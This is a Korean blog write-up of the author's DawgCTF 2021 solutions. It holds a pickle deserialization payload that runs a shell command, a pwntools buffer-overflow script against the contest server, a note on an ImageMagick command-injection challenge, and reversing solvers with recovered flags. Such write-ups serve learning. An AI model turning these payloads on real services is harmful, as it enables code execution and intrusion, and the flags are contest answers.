CTF/Write UPs

[DawgCTF 2021] 내가 푼 문제들 풀이

jir4vvit 2021. 5. 10. 12:53
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

 

[Pwnable]

Jellyspotters 

python pickle 취약점

기능들 막 보다가 pickle 취약점임을 확인했다. 바로 얼마전에 pickle 문제 풀었었는데, 그때도 load할 때 base64 디코딩을 했었다. 그래서 코드 복붙해서 풀었당.

import pickle
import base64
import os
from pwn import *

class Vuln(object):
    def __reduce__(self):
        return (os.system, ('cat ~/flag.txt', ))

pickle_data = pickle.dumps(Vuln())


data_bytes = pickle_data.encode('ascii')
data_base64 = base64.b64encode(data_bytes)
data_base64_str = data_base64.decode('ascii')

print data_base64_str

Bofit

단순한 BOF 문제

걍 실행

 

코드보면 Shout it! 할때 gets로 입력받아서 BOF가 대놓고 터진다. 저기를 공략하면 됨

from pwn import *

context.log_level = 'DEBUG'

#p = process('./bofit')
p = remote('umbccd.io', 4100)
e = ELF('./bofit')

p.sendline('B')

while True:
    tmp = p.recvuntil('Pull it!', timeout=3)
    if tmp:
        p.sendline('P')
    
    tmp2 = p.recvuntil('Twist it!', timeout=3)
    if tmp2:
        p.sendline('T')

    tmp3 = p.recvuntil('BOF it!', timeout=3)
    if tmp3:
        p.sendline('B')

    tmp4 = p.recvuntil('Shout it!', timeout=3)
    if tmp4:
        payload = ''
        payload += 'a' * (0x30+0x8)
        payload += p64(e.symbols['win_game'])
        p.sendline(payload)
        break;

p.interactive()

MDL Considered Harmful

참고로 대회 당시 내가 못 풀었던 문제인데, 롸업보고 신기해서 작성해봄

Imagemagick command injection

디스코드 봇한데 /help 치면 저렇게 친절하게 잘 알려준다.

디스코드에 저거 힌트로 이미지매직 커맨드 인젝션이라고 알려줬었는데, 너무 영문서라서 보다가 그만뒀다. 지금 내가 보던 문서 보다 보니까 그거 보고도 충분히 문제 풀 수 있었는 것 같다 ㅜ

 

https://legacy.imagemagick.org/Usage/text/#label_lines


[Binary Bomb]

한 바이너리에 9문제(+보너스)문제가 있다. flags.txt 파일에 한줄씩 각 phase의 답을 적고 프로그램에서 한줄씩 읽어서 인풋값에 넣는 방식이다. 

BBomb-Phase1

이거 이해 못해서 디버깅한사람 나야나

v4가 1의 값으로 리턴되어야지 성공이다.

내가 인풋으로 'Gn1r7s_3h7_Gn1Rev3R'를 넣었었는데, 처음에 'R''G'를 비교를 하는 것이다. 그래서 본능적으로 값을 뒤집었다.

R3veR51nG_7h3_s7r1nG

BBomb-Phase2

str = 'Dk52m6WZw@s6w0dIZh@2m5a'

flag = ''
print type(str)
for i in range(len(str)):
    #print type(ord(str[i]))
    print chr(ord(str[i]) ^ 5)

#print flag
An07h3R_rEv3r5aL_mE7h0d

BBomb-Phase3

브루트 포싱 하면 된다.

def func3_1(a):
    if (a>0x40 and a<=0x5a):
        a -= 0xd
        if (a > 0x40):
            b = 0
        else:
            b = 0x1a
        a += b
    if (a>0x60 and a<=0x7a):
        a -= 0xd
        if (a > 0x60):
            b = 0
        else:
            b = 0x1a
        a += b
    return a

def func3_2(a):
    if (a>0x20 and a!=0x7f):
        a -= 0x2f
        if (a>0x20):
            b = 0
        else:
            b = 0x5e
        a += b
    return a




#data = "\"_9~Jb0!=A`G!06qfc8',27h,'_20uf6`2%7"
data = "\"_9~Jb0!=A`G!06qfc8'_20uf6`2%7"
flag = ''

for i in range(len(data)):
    for j in range(0xff+1):
        tmp = func3_1(j)
        if (func3_2(tmp) == ord(data[i])):
            flag += chr(j)
            break

print flag
D0uBl3_Cyc1iC_rO74tI0n_S7r1nGs

BBomb-Bonus phase!

얘도 대회때 못풀었다.(?) 플래그는 얻었지만 인증을 안했다.

마지막에 저거 진심 0.5초?정도 보여주고 사라지는데, 난 이걸 동영상 찍어서 확인했다 ㅎㅎ;ㅋㅋ

저 플래그가 뭔 플래그인지 궁금했는데... 보너스 phase였군.. 내 기억상 저거 답 전부 입력해봤던 걸로 기억하는데 오타났던것 같다 ㅠ